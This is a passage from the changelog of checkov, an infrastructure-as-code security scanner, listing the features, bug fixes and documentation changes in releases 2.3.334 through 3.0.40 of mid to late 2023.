2023-11-20\n\n### Breaking Change\n\n- **general:** set default parallelization type to spawn and leverage Terraform downloaded module by default - [#5760](https://github.com/bridgecrewio/checkov/pull/5760)\n\n### Feature\n\n- **terraform:** Ensure ACR is zone-redundant - [#5748](https://github.com/bridgecrewio/checkov/pull/5748)\n\n### Bug Fix\n\n- **general:** Revert parallelization commit - [#5777](https://github.com/bridgecrewio/checkov/pull/5777)\n- **sast:** remove SAST frameworks for OSS users - [#5773](https://github.com/bridgecrewio/checkov/pull/5773)\n- **secrets:** don't reinitialize the upload client without API key usage - [#5771](https://github.com/bridgecrewio/checkov/pull/5771)\n\n### Documentation\n\n- **general:** properly escape CLI flags in the CLI command docs - [#5768](https://github.com/bridgecrewio/checkov/pull/5768)\n\n## [3.0.40](https://github.com/bridgecrewio/checkov/compare/3.0.38...3.0.40) - 2023-11-19\n\n### Bug Fix\n\n- **terraform_plan:** TF plan resources connection fix - [#5767](https://github.com/bridgecrewio/checkov/pull/5767)\n\n## [3.0.38](https://github.com/bridgecrewio/checkov/compare/3.0.37...3.0.38) - 2023-11-16\n\n### Feature\n\n- **terraform:** Adding YAML based build time policies for corresponding PC runtime policies - [#5714](https://github.com/bridgecrewio/checkov/pull/5714)\n\n## [3.0.37](https://github.com/bridgecrewio/checkov/compare/3.0.36...3.0.37) - 2023-11-15\n\n### Bug Fix\n\n- **terraform:** fix valid value for aws keyspaces_table encryption_specification type - [#5756](https://github.com/bridgecrewio/checkov/pull/5756)\n\n## [3.0.36](https://github.com/bridgecrewio/checkov/compare/3.0.34...3.0.36) - 2023-11-14\n\n### Bug Fix\n\n- **terraform:** check min TLS version also on azure app slots - [#5753](https://github.com/bridgecrewio/checkov/pull/5753)\n\n## [3.0.34](https://github.com/bridgecrewio/checkov/compare/3.0.32...3.0.34) - 2023-11-12\n\n### Feature\n\n- **general:** add possibility to change parallelization type - [#5737](https://github.com/bridgecrewio/checkov/pull/5737)\n\n### Bug Fix\n\n- **cloudformation:** ignore unresolved references in CKV_AWS_45 - [#5747](https://github.com/bridgecrewio/checkov/pull/5747)\n\n## [3.0.32](https://github.com/bridgecrewio/checkov/compare/3.0.28...3.0.32) - 2023-11-09\n\n### Feature\n\n- **sast:** Python cdk policies batch 2 - [#5725](https://github.com/bridgecrewio/checkov/pull/5725)\n\n### Bug Fix\n\n- **general:** add option to pass `--skip-download` with github-action - [#5734](https://github.com/bridgecrewio/checkov/pull/5734)\n\n### Platform\n\n- **general:** print the log upload location if the --support flag is used - [#5738](https://github.com/bridgecrewio/checkov/pull/5738)\n\n## [3.0.28](https://github.com/bridgecrewio/checkov/compare/3.0.25...3.0.28) - 2023-11-08\n\n### Bug Fix\n\n- **terraform:** Adding both azurerm_linux_web_app_slot & azurerm_windows_web_app_slot in scope of the test CKV_AZURE_153 - [#5687](https://github.com/bridgecrewio/checkov/pull/5687)\n\n### Documentation\n\n- **general:** Switch references to Bridgecrew with Prisma Cloud - [#5704](https://github.com/bridgecrewio/checkov/pull/5704)\n\n## [3.0.25](https://github.com/bridgecrewio/checkov/compare/3.0.24...3.0.25) - 2023-11-07\n\n### Bug Fix\n\n- **general:** do not require a repo ID when using an API key and --list - [#5726](https://github.com/bridgecrewio/checkov/pull/5726)\n\n## [3.0.24](https://github.com/bridgecrewio/checkov/compare/3.0.21...3.0.24) - 2023-11-06\n\n### Feature\n\n- **sast:** add new python CDK policies - [#5706](https://github.com/bridgecrewio/checkov/pull/5706)\n- **terraform:** Ensure that only critical system pods run on system nodes - [#5665](https://github.com/bridgecrewio/checkov/pull/5665)\n\n## [3.0.21](https://github.com/bridgecrewio/checkov/compare/3.0.19...3.0.21) - 2023-11-05\n\n### Feature\n\n- **terraform:** Ensure App Service Environment is zone redundant - [#5662](https://github.com/bridgecrewio/checkov/pull/5662)\n- **terraform:** Ensure that Standard Replication is enabled - [#5649](https://github.com/bridgecrewio/checkov/pull/5649)\n\n### Bug Fix\n\n- **sca:** Setting only relevant cves for the extracted reachable functions with risk factor of ReachableFunction as True - [#5715](https://github.com/bridgecrewio/checkov/pull/5715)\n- **terraform:** CKV_AWS_208 valid Amazon MQ versions - [#5653](https://github.com/bridgecrewio/checkov/pull/5653)\n\n## [3.0.19](https://github.com/bridgecrewio/checkov/compare/3.0.16...3.0.19) - 2023-11-02\n\n### Feature\n\n- **sca:** adjusting the cli-output to support indicating of reachable functions  - [#5713](https://github.com/bridgecrewio/checkov/pull/5713)\n- **terraform:** Adding YAML based build time policies for corresponding PC runtime policies - [#5637](https://github.com/bridgecrewio/checkov/pull/5637)\n- **terraform:** bigtable deletion protection [depends on #5625] - [#5626](https://github.com/bridgecrewio/checkov/pull/5626)\n- **terraform:** drop and deletion checks for spanner - [#5625](https://github.com/bridgecrewio/checkov/pull/5625)\n\n### Bug Fix\n\n- **sast:** add cveid to reachability report - [#5708](https://github.com/bridgecrewio/checkov/pull/5708)\n\n## [3.0.16](https://github.com/bridgecrewio/checkov/compare/3.0.15...3.0.16) - 2023-11-01\n\n### Feature\n\n- **sca:** Extending reachability post-runner in checkov and enriching cves with ReachableFunction data - [#5707](https://github.com/bridgecrewio/checkov/pull/5707)\n\n## [3.0.15](https://github.com/bridgecrewio/checkov/compare/3.0.14...3.0.15) - 2023-10-31\n\n### Bug Fix\n\n- **general:** fix duplicate components in CycloneDX report - [#5705](https://github.com/bridgecrewio/checkov/pull/5705)\n\n## [3.0.14](https://github.com/bridgecrewio/checkov/compare/3.0.13...3.0.14) - 2023-10-30\n\n### Bug Fix\n\n- **general:** address python 3.12 SyntaxWarning - [#5699](https://github.com/bridgecrewio/checkov/pull/5699)\n- **terraform:** fix variable rendering for foreach resources with dot included names - [#5701](https://github.com/bridgecrewio/checkov/pull/5701)\n\n## [3.0.13](https://github.com/bridgecrewio/checkov/compare/3.0.12...3.0.13) - 2023-10-29\n\n### Bug Fix\n\n- **sast:** comment out SAST JS integration test - [#5697](https://github.com/bridgecrewio/checkov/pull/5697)\n\n## [3.0.12](https://github.com/bridgecrewio/checkov/compare/3.0.7...3.0.12) - 2023-10-26\n\n### Bug Fix\n\n- **general:** Fix sast & cdk integration tests - [#5688](https://github.com/bridgecrewio/checkov/pull/5688)\n- **sast:** Adding exit code in sast integration test - [#5690](https://github.com/bridgecrewio/checkov/pull/5690)\n- **sast:** adjust SAST file pattern search - [#5694](https://github.com/bridgecrewio/checkov/pull/5694)\n- **sast:** fix sast reachability report format - [#5686](https://github.com/bridgecrewio/checkov/pull/5686)\n- **terraform:** Fixing the typo within the name of the Terraform check CKV_AZURE_158 - [#5696](https://github.com/bridgecrewio/checkov/pull/5696)\n\n### Platform\n\n- **general:** Do not crash the run if S3 integration fails during setup, upload, or finalize - [#5691](https://github.com/bridgecrewio/checkov/pull/5691)\n\n## [3.0.7](https://github.com/bridgecrewio/checkov/compare/3.0.4...3.0.7) - 2023-10-25\n\n### Bug Fix\n\n- **secrets:** fix secret FP of client_secret_setting_name - [#5679](https://github.com/bridgecrewio/checkov/pull/5679)\n\n### Platform\n\n- **general:** Add SAST enforcement rules and check severity thresholds - [#5684](https://github.com/bridgecrewio/checkov/pull/5684)\n- **general:** do not get fixes for on prem integrations - [#5668](https://github.com/bridgecrewio/checkov/pull/5668)\n\n## [3.0.4](https://github.com/bridgecrewio/checkov/compare/2.5.18...3.0.4) - 2023-10-24\n\n### Breaking Change\n\n- **general:** remove level up flow - [#5677](https://github.com/bridgecrewio/checkov/pull/5677)\n- **general:** remove multi_signature and adjust base check classes - [#5645](https://github.com/bridgecrewio/checkov/pull/5645)\n- **general:** v3 release - [#5681](https://github.com/bridgecrewio/checkov/pull/5681)\n\n### Bug Fix\n\n- **sast:** fix error logs coming from SAST - [#5685](https://github.com/bridgecrewio/checkov/pull/5685)\n\n### Documentation\n\n- **general:** add BC token deprecation notice and v3 migration guide - [#5644](https://github.com/bridgecrewio/checkov/pull/5644)\n\n## [2.5.18](https://github.com/bridgecrewio/checkov/compare/2.5.15...2.5.18) - 2023-10-22\n\n### Feature\n\n- **general:** Adds GHA support for skip-frameworks, skip-cve-package & output-bc-ids flags - [#5619](https://github.com/bridgecrewio/checkov/pull/5619)\n- **terraform:** Ensure that the SQL database is zone-redundant - [#5540](https://github.com/bridgecrewio/checkov/pull/5540)\n- **terraform:** Ensure the Azure Event Hub Namespace is zone redundant - [#5538](https://github.com/bridgecrewio/checkov/pull/5538)\n\n### Bug Fix\n\n- **bicep:** enforce encryption flag to be string for CKV_AZURE_97 - [#5669](https://github.com/bridgecrewio/checkov/pull/5669)\n- **terraform_plan:** Add provisioners to TF Plan parser - [#5622](https://github.com/bridgecrewio/checkov/pull/5622)\n\n## [2.5.15](https://github.com/bridgecrewio/checkov/compare/2.5.13...2.5.15) - 2023-10-19\n\n### Feature\n\n- **terraform:** Support for merge func inside jsondecode - [#5656](https://github.com/bridgecrewio/checkov/pull/5656)\n\n### Bug Fix\n\n- **sca:** make the abs path to be correcnt - [#5660](https://github.com/bridgecrewio/checkov/pull/5660)\n\n## [2.5.13](https://github.com/bridgecrewio/checkov/compare/2.5.11...2.5.13) - 2023-10-18\n\n### Feature\n\n- **arm:** implement CKV_AZURE_103 for ARM - [#5527](https://github.com/bridgecrewio/checkov/pull/5527)\n- **arm:** implement CKV_AZURE_96 for ARM - [#5506](https://github.com/bridgecrewio/checkov/pull/5506)\n- **arm:** implement CKV_AZURE_97 for ARM - [#5515](https://github.com/bridgecrewio/checkov/pull/5515)\n\n### Bug Fix\n\n- **terraform:** Added a check to make sure dynamic \"blocks\" are of the expected type - [#5642](https://github.com/bridgecrewio/checkov/pull/5642)\n- **terraform:** update CKV_AWS_339 valid EKS versions - [#5652](https://github.com/bridgecrewio/checkov/pull/5652)\n\n## [2.5.11](https://github.com/bridgecrewio/checkov/compare/2.5.10...2.5.11) - 2023-10-17\n\n### Feature\n\n- **sca:** giving file path on relative the the current dir for cases there is no either specified root_folder and the is no repo scan dir - [#5654](https://github.com/bridgecrewio/checkov/pull/5654)\n\n## [2.5.10](https://github.com/bridgecrewio/checkov/compare/2.5.9...2.5.10) - 2023-10-16\n\n### Feature\n\n- **terraform:** support scanning of Terraform managed modules instead of downloading them - [#5635](https://github.com/bridgecrewio/checkov/pull/5635)\n\n### Bug Fix\n\n- **terraform:** Fixing issues with checks CKV_AZURE_226 & CKV_AZURE_227 - [#5638](https://github.com/bridgecrewio/checkov/pull/5638)\n\n## [2.5.9](https://github.com/bridgecrewio/checkov/compare/2.5.8...2.5.9) - 2023-10-15\n\n### Feature\n\n- **sca:** support case where there are no cves suppressions - [#5636](https://github.com/bridgecrewio/checkov/pull/5636)\n\n## [2.5.8](https://github.com/bridgecrewio/checkov/compare/2.5.6...2.5.8) - 2023-10-12\n\n### Feature\n\n- **general:** Remove code upload for on-prem integrations - [#5624](https://github.com/bridgecrewio/checkov/pull/5624)\n\n## [2.5.6](https://github.com/bridgecrewio/checkov/compare/2.5.3...2.5.6) - 2023-10-05\n\n### Feature\n\n- **arm:**  implement CKV_AZURE_95 for ARM - [#5500](https://github.com/bridgecrewio/checkov/pull/5500)\n- **general:** Added source and target to edge data - [#5621](https://github.com/bridgecrewio/checkov/pull/5621)\n\n### Bug Fix\n\n- **terraform_plan:** add azurerm_portal_dashboard to jsonify list - [#5618](https://github.com/bridgecrewio/checkov/pull/5618)\n- **terraform:** check if the dynamic name is one of the resources block - [#5607](https://github.com/bridgecrewio/checkov/pull/5607)\n\n## [2.5.3](https://github.com/bridgecrewio/checkov/compare/2.4.61...2.5.3) - 2023-10-04\n\n### Breaking Change\n\n- **general:** remove Python 3.7 - [#5605](https://github.com/bridgecrewio/checkov/pull/5605)\n- **graph:** remove CHECKOV_CREATE_GRAPH env var to control graph creation - [#5606](https://github.com/bridgecrewio/checkov/pull/5606)\n\n### Bug Fix\n\n- **dockerfile:** fix Docker image scan - [#5617](https://github.com/bridgecrewio/checkov/pull/5617)\n- **openapi:** Take into account that security is at the root level of your OpenAPI specification. - [#5603](https://github.com/bridgecrewio/checkov/pull/5603)\n- **terraform:** stop CKV_GCP_43 crashing when not a string - [#5561](https://github.com/bridgecrewio/checkov/pull/5561)\n\n## [2.4.61](https://github.com/bridgecrewio/checkov/compare/2.4.59...2.4.61) - 2023-10-03\n\n### Bug Fix\n\n- **terraform:** fix upload resource_subgraph_maps - [#5615](https://github.com/bridgecrewio/checkov/pull/5615)\n\n### Platform\n\n- **terraform:** Upload resource subgraph map - [#5612](https://github.com/bridgecrewio/checkov/pull/5612)\n\n## [2.4.59](https://github.com/bridgecrewio/checkov/compare/2.4.58...2.4.59) - 2023-10-02\n\n### Platform\n\n- **terraform:** fix in subgraphs uploads - [#5610](https://github.com/bridgecrewio/checkov/pull/5610)\n\n## [2.4.58](https://github.com/bridgecrewio/checkov/compare/2.4.57...2.4.58) - 2023-10-01\n\n### Platform\n\n- **terraform:** upload tf sub graphs - [#5596](https://github.com/bridgecrewio/checkov/pull/5596)\n\n## [2.4.57](https://github.com/bridgecrewio/checkov/compare/2.4.55...2.4.57) - 2023-09-29\n\n### Feature\n\n- **terraform:** Ensure ephemeral disks are used for OS disks - [#5584](https://github.com/bridgecrewio/checkov/pull/5584)\n- **terraform:** Ensure that App Service plan is zone redundant - [#5577](https://github.com/bridgecrewio/checkov/pull/5577)\n- **terraform:** Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources - [#5588](https://github.com/bridgecrewio/checkov/pull/5588)\n\n## [2.4.55](https://github.com/bridgecrewio/checkov/compare/2.4.51...2.4.55) - 2023-09-28\n\n### Feature\n\n- **general:** Add image referencer rustworkx support - [#5564](https://github.com/bridgecrewio/checkov/pull/5564)\n- **general:** Add rustworkx support - [#5595](https://github.com/bridgecrewio/checkov/pull/5595)\n- **terraform:** Adding 2 new AWS policies - [#5599](https://github.com/bridgecrewio/checkov/pull/5599)\n- **terraform:** simply IMDSv2 checks - [#5601](https://github.com/bridgecrewio/checkov/pull/5601)\n\n## [2.4.51](https://github.com/bridgecrewio/checkov/compare/2.4.50...2.4.51) - 2023-09-27\n\n### Feature\n\n- **arm:** CKV_AZURE_88 convert to arm check - [#5465](https://github.com/bridgecrewio/checkov/pull/5465)\n- **arm:** implement CKV_AZURE_149 for ARM - [#5496](https://github.com/bridgecrewio/checkov/pull/5496)\n\n### Bug Fix\n\n- **terraform:** Adding missing null checks - [#5589](https://github.com/bridgecrewio/checkov/pull/5589)\n\n## [2.4.50](https://github.com/bridgecrewio/checkov/compare/2.4.48...2.4.50) - 2023-09-26\n\n### Feature\n\n- **general:** add rustworkx (#5511) - [#5565](https://github.com/bridgecrewio/checkov/pull/5565)\n- **general:** Revert add rustworkx (#5565)\" - [#5594](https://github.com/bridgecrewio/checkov/pull/5594)\n\n## [2.4.48](https://github.com/bridgecrewio/checkov/compare/2.4.47...2.4.48) - 2023-09-21\n\n### Platform\n\n- **general:** expose retry and timeout configuration for interaction with the platform - [#5585](https://github.com/bridgecrewio/checkov/pull/5585)\n\n## [2.4.47](https://github.com/bridgecrewio/checkov/compare/2.4.39...2.4.47) - 2023-09-20\n\n### Feature\n\n- **sca:** creating alias mapping for javascript - [#5567](https://github.com/bridgecrewio/checkov/pull/5567)\n- **sca:** creating alias mapping for javascript - [#5582](https://github.com/bridgecrewio/checkov/pull/5582)\n- **sca:** revert creating alias mapping for javascript - [#5581](https://github.com/bridgecrewio/checkov/pull/5581)\n\n### Bug Fix\n\n- **general:** fix print to encode in windows - [#5572](https://github.com/bridgecrewio/checkov/pull/5572)\n- **terraform:** Nested source_module_objects with missing foreach key - [#5580](https://github.com/bridgecrewio/checkov/pull/5580)\n\n## [2.4.39](https://github.com/bridgecrewio/checkov/compare/2.4.36...2.4.39) - 2023-09-14\n\n### Feature\n\n- **arm:** implement CKV2_AZURE_27 for arm - [#5534](https://github.com/bridgecrewio/checkov/pull/5534)\n- **terraform:** Add new policy for deprecated runtimes - [#5555](https://github.com/bridgecrewio/checkov/pull/5555)\n- **terraform:** Ensure Event Hub Namespace uses at least TLS 1.2 - [#5535](https://github.com/bridgecrewio/checkov/pull/5535)\n- **terraform:** Ensure that the Ledger feature is enabled on database that requires cryptographic proof and nonrepudiation of data integrity - [#5541](https://github.com/bridgecrewio/checkov/pull/5541)\n\n## [2.4.36](https://github.com/bridgecrewio/checkov/compare/2.4.33...2.4.36) - 2023-09-13\n\n### Feature\n\n- **general:** add rustworkx - [#5511](https://github.com/bridgecrewio/checkov/pull/5511)\n\n### Bug Fix\n\n- **terraform:** Module from_dict func to static func - [#5562](https://github.com/bridgecrewio/checkov/pull/5562)\n\n## [2.4.33](https://github.com/bridgecrewio/checkov/compare/2.4.32...2.4.33) - 2023-09-12\n\n### Feature\n\n- **general:** attempt to fix overload in loaders and add tests - [#5549](https://github.com/bridgecrewio/checkov/pull/5549)\n- **general:** remove 3.7 integ. test - [#5556](https://github.com/bridgecrewio/checkov/pull/5556)\n- **general:** remove line to force code change - [#5558](https://github.com/bridgecrewio/checkov/pull/5558)\n- **terraform:** add check Neptune DB clusters should be configured to copy tags to snapshots - [#5552](https://github.com/bridgecrewio/checkov/pull/5552)\n- **terraform:** add CKV_AWS_361 to ensure Neptune DB cluster has adequate backup retention - [#5548](https://github.com/bridgecrewio/checkov/pull/5548)\n\n### Bug Fix\n\n- **terraform:** Fix external_modules_source_map serialization - [#5546](https://github.com/bridgecrewio/checkov/pull/5546)\n\n## [2.4.32](https://github.com/bridgecrewio/checkov/compare/2.4.30...2.4.32) - 2023-09-10\n\n### Feature\n\n- **terraform:** add check for Neptune DB clusters  IAM database auth enabled - [#5545](https://github.com/bridgecrewio/checkov/pull/5545)\n- **terraform:** add CKV_AWS_360 to ensure backup retention period on AWS Document DB - [#5547](https://github.com/bridgecrewio/checkov/pull/5547)\n\n## [2.4.30](https://github.com/bridgecrewio/checkov/compare/2.4.29...2.4.30) - 2023-09-07\n\n### Feature\n\n- **terraform:** add public network checks for Azure Function and Web Apps - [#5533](https://github.com/bridgecrewio/checkov/pull/5533)\n\n## [2.4.29](https://github.com/bridgecrewio/checkov/compare/2.4.27...2.4.29) - 2023-09-06\n\n### Feature\n\n- **arm:** Implement CKV_AZURE_111 in ARM - [#5528](https://github.com/bridgecrewio/checkov/pull/5528)\n- **arm:** implement CKV_AZURE_134 for ARM - [#5518](https://github.com/bridgecrewio/checkov/pull/5518)\n- **arm:** implement CKV_AZURE_160 for arm - [#5526](https://github.com/bridgecrewio/checkov/pull/5526)\n- **arm:** implement CKV_AZURE_89 for ARM - [#5529](https://github.com/bridgecrewio/checkov/pull/5529)\n\n### Bug Fix\n\n- **terraform:** CKV_AWS_208 bug fix - [#5512](https://github.com/bridgecrewio/checkov/pull/5512)\n\n## [2.4.27](https://github.com/bridgecrewio/checkov/compare/2.4.25...2.4.27) - 2023-09-05\n\n### Feature\n\n- **general:** Check module download - [#5525](https://github.com/bridgecrewio/checkov/pull/5525)\n- **general:** Check module download and quit on failure - [#5523](https://github.com/bridgecrewio/checkov/pull/5523)\n\n## [2.4.25](https://github.com/bridgecrewio/checkov/compare/2.4.22...2.4.25) - 2023-09-03\n\n### Feature\n\n- **arm:** Implement CKV_AZURE_101 for ARM - [#5516](https://github.com/bridgecrewio/checkov/pull/5516)\n- **arm:** implement CKV_AZURE_107 for arm - [#5514](https://github.com/bridgecrewio/checkov/pull/5514)\n- **arm:** implement CKV_AZURE_113 for ARM - [#5510](https://github.com/bridgecrewio/checkov/pull/5510)\n\n## [2.4.22](https://github.com/bridgecrewio/checkov/compare/2.4.18...2.4.22) - 2023-08-31\n\n### Feature\n\n- **arm:** implement CKV_AZURE_112 for arm - [#5507](https://github.com/bridgecrewio/checkov/pull/5507)\n- **arm:** implement CKV_AZURE_40 for ARM - [#5499](https://github.com/bridgecrewio/checkov/pull/5499)\n- **arm:** implement CKV_AZURE_58 for ARM - [#5497](https://github.com/bridgecrewio/checkov/pull/5497)\n- **arm:** implement CKV_AZURE_94 for arm - [#5508](https://github.com/bridgecrewio/checkov/pull/5508)\n\n### Bug Fix\n\n- **helm:** Changed error message to failure to better differentiate problems - [#5517](https://github.com/bridgecrewio/checkov/pull/5517)\n- **terraform_json:** correctly parse data blocks in Terraform JSON - [#5509](https://github.com/bridgecrewio/checkov/pull/5509)\n- **terraform:** continue processing of TF modules in the same file - [#5503](https://github.com/bridgecrewio/checkov/pull/5503)\n- **terraform:** fix error type - [#5513](https://github.com/bridgecrewio/checkov/pull/5513)\n\n## [2.4.18](https://github.com/bridgecrewio/checkov/compare/2.4.14...2.4.18) - 2023-08-30\n\n### Feature\n\n- **arm:** implement CKV_AZURE_100 for arm - [#5490](https://github.com/bridgecrewio/checkov/pull/5490)\n- **arm:** implement CKV_AZURE_114 for arm - [#5489](https://github.com/bridgecrewio/checkov/pull/5489)\n- **arm:** implement CKV_AZURE_130 for arm - [#5485](https://github.com/bridgecrewio/checkov/pull/5485)\n- **arm:** implement CKV_AZURE_151 for arm - [#5484](https://github.com/bridgecrewio/checkov/pull/5484)\n\n### Bug Fix\n\n- **arm:** correctly handle json files with comments and output parsing errors - [#5495](https://github.com/bridgecrewio/checkov/pull/5495)\n\n## [2.4.14](https://github.com/bridgecrewio/checkov/compare/2.4.10...2.4.14) - 2023-08-27\n\n### Feature\n\n- **arm:** CKV_AZURE_66 implement config logging check for arm - [#5464](https://github.com/bridgecrewio/checkov/pull/5464)\n- **arm:** convert CKV_AZURE_65 to arm - [#5467](https://github.com/bridgecrewio/checkov/pull/5467)\n- **arm:** Implement CKV_AZURE_109 in arm - [#5483](https://github.com/bridgecrewio/checkov/pull/5483)\n- **arm:** implement CKV_AZURE_63 for arm - [#5475](https://github.com/bridgecrewio/checkov/pull/5475)\n- **arm:** implement CKV_AZURE_80 in arm - [#5476](https://github.com/bridgecrewio/checkov/pull/5476)\n- **secrets:** fix resource in git history scan - [#5482](https://github.com/bridgecrewio/checkov/pull/5482)\n\n### Bug Fix\n\n- **terraform:** extend CKV2_AWS_5 to include aws_appstream_fleet (#5487) - [#5491](https://github.com/bridgecrewio/checkov/pull/5491)\n\n## [2.4.10](https://github.com/bridgecrewio/checkov/compare/2.4.7...2.4.10) - 2023-08-24\n\n### Feature\n\n- **arm:** migrate check CKV_AZURE_50 to arm - [#5453](https://github.com/bridgecrewio/checkov/pull/5453)\n- **arm:** translate tf CKV_AZURE_93 check to arm - [#5450](https://github.com/bridgecrewio/checkov/pull/5450)\n- **kubernetes:** Added new endpoint for both helm and kustomize  - [#5481](https://github.com/bridgecrewio/checkov/pull/5481)\n\n### Bug Fix\n\n- **dockerfile:** consider platform flag in CKV_DOCKER_7 - [#5468](https://github.com/bridgecrewio/checkov/pull/5468)\n- **kustomize:** support kubectl 1.28+ - [#5480](https://github.com/bridgecrewio/checkov/pull/5480)\n\n## [2.4.7](https://github.com/bridgecrewio/checkov/compare/2.4.6...2.4.7) - 2023-08-23\n\n### Feature\n\n- **secrets:** handle non iac secrets FP - [#5478](https://github.com/bridgecrewio/checkov/pull/5478)\n\n## [2.4.6](https://github.com/bridgecrewio/checkov/compare/2.4.5...2.4.6) - 2023-08-22\n\n### Bug Fix\n\n- **terraform:** Replaced / with os.pathsep to support windows better in terraform runner - [#5473](https://github.com/bridgecrewio/checkov/pull/5473)\n\n### Documentation\n\n- **terraform:** make jq default - [#5462](https://github.com/bridgecrewio/checkov/pull/5462)\n\n## [2.4.5](https://github.com/bridgecrewio/checkov/compare/2.4.4...2.4.5) - 2023-08-21\n\n### Bug Fix\n\n- **terraform:** Fix for-each/count updating inner for each index for every child resource - [#5463](https://github.com/bridgecrewio/checkov/pull/5463)\n\n## [2.4.4](https://github.com/bridgecrewio/checkov/compare/2.4.2...2.4.4) - 2023-08-20\n\n### Platform\n\n- **sca:** Filter IR FW upload results by supportedIrFw list - [#5448](https://github.com/bridgecrewio/checkov/pull/5448)\n\n## [2.4.2](https://github.com/bridgecrewio/checkov/compare/2.4.1...2.4.2) - 2023-08-17\n\n### Feature\n\n- **dockerfile:** Add CKV2_DOCKER_17 for chpasswd - [#5441](https://github.com/bridgecrewio/checkov/pull/5441)\n\n### Bug Fix\n\n- **kustomize:** Fix kustomize ignoring external policy dir command line options - [#5436](https://github.com/bridgecrewio/checkov/pull/5436)\n\n## [2.4.1](https://github.com/bridgecrewio/checkov/compare/2.3.365...2.4.1) - 2023-08-16\n\n### Feature\n\n- **terraform:** Remove old tf parser - [#5420](https://github.com/bridgecrewio/checkov/pull/5420)\n\n### Bug Fix\n\n- **terraform:** ensure TFModule is created properly in definition context - [#5446](https://github.com/bridgecrewio/checkov/pull/5446)\n\n## [2.3.365](https://github.com/bridgecrewio/checkov/compare/2.3.364...2.3.365) - 2023-08-14\n\n### Feature\n\n- **terraform:** Removed most usages of enable_nested_modules - [#5415](https://github.com/bridgecrewio/checkov/pull/5415)\n\n## [2.3.364](https://github.com/bridgecrewio/checkov/compare/2.3.361...2.3.364) - 2023-08-13\n\n### Feature\n\n- **sca:** update spdx-tools dep to version 0.8.0 and lower bound it - [#5431](https://github.com/bridgecrewio/checkov/pull/5431)\n- **terraform:** Add **address** field on vertices even if render_variables is set to False - [#5434](https://github.com/bridgecrewio/checkov/pull/5434)\n\n### Bug Fix\n\n- **terraform:** add new attached resource possibility to CKV2_AWS_23 #5424 - [#5429](https://github.com/bridgecrewio/checkov/pull/5429)\n- **terraform:** fix ordering issue in CKV_AWS_358 - [#5425](https://github.com/bridgecrewio/checkov/pull/5425)\n\n## [2.3.361](https://github.com/bridgecrewio/checkov/compare/2.3.360...2.3.361) - 2023-08-10\n\n### Bug Fix\n\n- **arm:** improve CKV_AZURE_24 check - [#5427](https://github.com/bridgecrewio/checkov/pull/5427)\n\n## [2.3.360](https://github.com/bridgecrewio/checkov/compare/2.3.358...2.3.360) - 2023-08-08\n\n### Bug Fix\n\n- **general:** Fix empty credentials file issue - [#5421](https://github.com/bridgecrewio/checkov/pull/5421)\n\n## [2.3.358](https://github.com/bridgecrewio/checkov/compare/2.3.356...2.3.358) - 2023-08-06\n\n### Feature\n\n- **secrets:** Make non-entropy signatures take precedence over entropy signatures - [#5412](https://github.com/bridgecrewio/checkov/pull/5412)\n\n### Bug Fix\n\n- **terraform:** Remove DMS S3 check CKV_AWS_299 - [#5413](https://github.com/bridgecrewio/checkov/pull/5413)\n\n## [2.3.356](https://github.com/bridgecrewio/checkov/compare/2.3.354...2.3.356) - 2023-08-03\n\n### Feature\n\n- **terraform:** Github Actions OIDC trust policy check - [#5402](https://github.com/bridgecrewio/checkov/pull/5402)\n\n## [2.3.354](https://github.com/bridgecrewio/checkov/compare/2.3.351...2.3.354) - 2023-08-02\n\n### Feature\n\n- **general:** allow `--var-file` to be passed as environment variable - [#5406](https://github.com/bridgecrewio/checkov/pull/5406)\n- **terraform:** Add new policy to ensure AWS Transfer server only allows secure protocols - [#5409](https://github.com/bridgecrewio/checkov/pull/5409)\n\n### Platform\n\n- **general:** remove obsolete run config fallback API call - [#5404](https://github.com/bridgecrewio/checkov/pull/5404)\n\n### Documentation\n\n- **gha:** Update setup-python version in GitHub Actions.md - [#5393](https://github.com/bridgecrewio/checkov/pull/5393)\n\n## [2.3.351](https://github.com/bridgecrewio/checkov/compare/2.3.349...2.3.351) - 2023-08-01\n\n### Feature\n\n- **terraform:** new serialization methods for module and block - [#5391](https://github.com/bridgecrewio/checkov/pull/5391)\n\n### Bug Fix\n\n- **terraform:** pr for upgrade-checkov - [#5400](https://github.com/bridgecrewio/checkov/pull/5400)\n\n## [2.3.349](https://github.com/bridgecrewio/checkov/compare/2.3.347...2.3.349) - 2023-07-31\n\n### Bug Fix\n\n- **terraform:** add TFDefinitionKey to get_entity_context_and_evaluations - [#5392](https://github.com/bridgecrewio/checkov/pull/5392)\n- **terraform:** consider new domain attribute in CKV2_AWS_19 - [#5383](https://github.com/bridgecrewio/checkov/pull/5383)\n\n## [2.3.347](https://github.com/bridgecrewio/checkov/compare/2.3.343...2.3.347) - 2023-07-27\n\n### Feature\n\n- **sca:** support composer.json - [#5382](https://github.com/bridgecrewio/checkov/pull/5382)\n- **terraform:** Use new function to create multi graph instead of single graph - [#5375](https://github.com/bridgecrewio/checkov/pull/5375)\n\n### Platform\n\n- **general:** Implement SSO Relay State Parameter in Checkov Output Links - [#5217](https://github.com/bridgecrewio/checkov/pull/5217)\n\n## [2.3.343](https://github.com/bridgecrewio/checkov/compare/2.3.338...2.3.343) - 2023-07-26\n\n### Feature\n\n- **sca:** fix package line numbers - [#5376](https://github.com/bridgecrewio/checkov/pull/5376)\n\n### Bug Fix\n\n- **terraform:** Fix CKV_AWS_104 to support new values - [#5377](https://github.com/bridgecrewio/checkov/pull/5377)\n\n## [2.3.338](https://github.com/bridgecrewio/checkov/compare/2.3.335...2.3.338) - 2023-07-23\n\n### Feature\n\n- **terraform:** add new function to create module and definitions with tests - [#5362](https://github.com/bridgecrewio/checkov/pull/5362)\n- **terraform:** GCP Ensure IAM Workload identity is restricted - [#5369](https://github.com/bridgecrewio/checkov/pull/5369)\n\n### Bug Fix\n\n- **general:** fix inline suppression collection inside lists - [#5370](https://github.com/bridgecrewio/checkov/pull/5370)\n\n## [2.3.335](https://github.com/bridgecrewio/checkov/compare/2.3.334...2.3.335) - 2023-07-20\n\n### Bug Fix\n\n- **terraform:** leverage read_file_with_any_encoding to safely look for modules - [#5360](https://github.com/bridgecrewio/checkov/pull/5360)\n\n## [2.3.334](https://github.com/bridgecrewio/checkov/compare/2.3.331...2.3.334) - 2023-07-19\n\n### Feature\n\n- **general:** Add resource code filter to all checkov loggers - [#5356](https://github.com/bridgecrewio/checkov/pull/5356)\n- **general:** Infrastructure for custom code logger filter - [#5346](https://github.com/bridgecrewio/checkov/pull/5346)\n\n### Bug Fix\n\n- **kustomize:** Avoid index error when 